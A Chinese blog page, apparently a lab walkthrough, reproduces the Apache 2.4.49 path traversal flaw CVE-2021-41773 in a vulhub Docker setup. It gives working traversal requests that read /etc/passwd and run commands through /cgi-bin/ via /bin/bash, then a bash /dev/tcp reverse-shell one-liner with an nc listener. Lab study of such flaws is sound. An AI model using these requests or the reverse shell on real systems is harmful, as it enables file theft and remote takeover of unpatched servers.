码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Apache HTTP Server 2.4.49 路径穿越漏洞 (CVE-2021-41773)


    Apache HTTP Server 2.4.49 路径穿越漏洞 (CVE-2021-41773)

    文章目录

        • Apache HTTP Server 2.4.49 路径穿越漏洞 (CVE-2021-41773)
        • 1 在线漏洞解读:
        • 2 环境搭建
        • 3 影响版本:
        • 4 漏洞复现
          • 4.1 执行漏洞核心指令
          • 4.2 进行访问使用bp抓包
          • 4.3 尝试执行指令
          • 4.4 反弹shenll成功

    1 在线漏洞解读:

    https://vulhub.org/#/environments/httpd/CVE-2021-41773/
    
    • 1

    在这里插入图片描述

    2 环境搭建

    cd /home/kali/vulhub/httpd/CVE-2021-41773
    
    • 1

    在这里插入图片描述

    启动:

    sudo docker-compose up -d
    
    sudo docker ps -a
    
    • 1
    • 2
    • 3

    已启动:访问端口8087

    在这里插入图片描述

    3 影响版本:

    在ApacheHTTPServer 2.4.49中对路径规范化的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将url映射到预期文档根目录之外的文件。
    如果这些目录之外的文件没有受到通常的默认配置“要求所有拒绝”的保护,这些请求可以成功。如果还为这些别名路径启用了CGI脚本,则可以允许远程代码。

    4 漏洞复现

    4.1 执行漏洞核心指令

    一个简单的CURL命令来重现漏洞(注意/icons/必须是一个已经存在的目录):

    curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    
    • 1
    4.2 进行访问使用bp抓包

    访问http://192.168.225.166:8087/

    在这里插入图片描述
    .

    bp包转到repeate,转发返回passwd信息

    GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    4.3 尝试执行指令
    GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 
    
    echo;id
    
    /cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。
    
    在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    4.4 反弹shenll成功
    bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
    nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
    
    • 1
    • 2

    在这里插入图片描述

  • 相关阅读:
    Sora:视频生成模型作为世界模拟器
    测试与开发环境网址hosts配置
    HTML易忽略的角落【目录】
    Excel 通过条件格式自动添加边框
    SAP 采购订单免费标识自动勾选的判断依据
    【3D 图像分割】基于 Pytorch 的 VNet 3D 图像分割5(训练篇)
    [附源码]Python计算机毕业设计Django兴达五金日杂批发商店管理系统
    文本预处理——文本张量表示方法
    事业编招聘:新华社2023校园招聘正式启动
    在线人数统计功能怎么实现?
  • 原文地址:https://blog.csdn.net/weixin_42786460/article/details/133270475
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号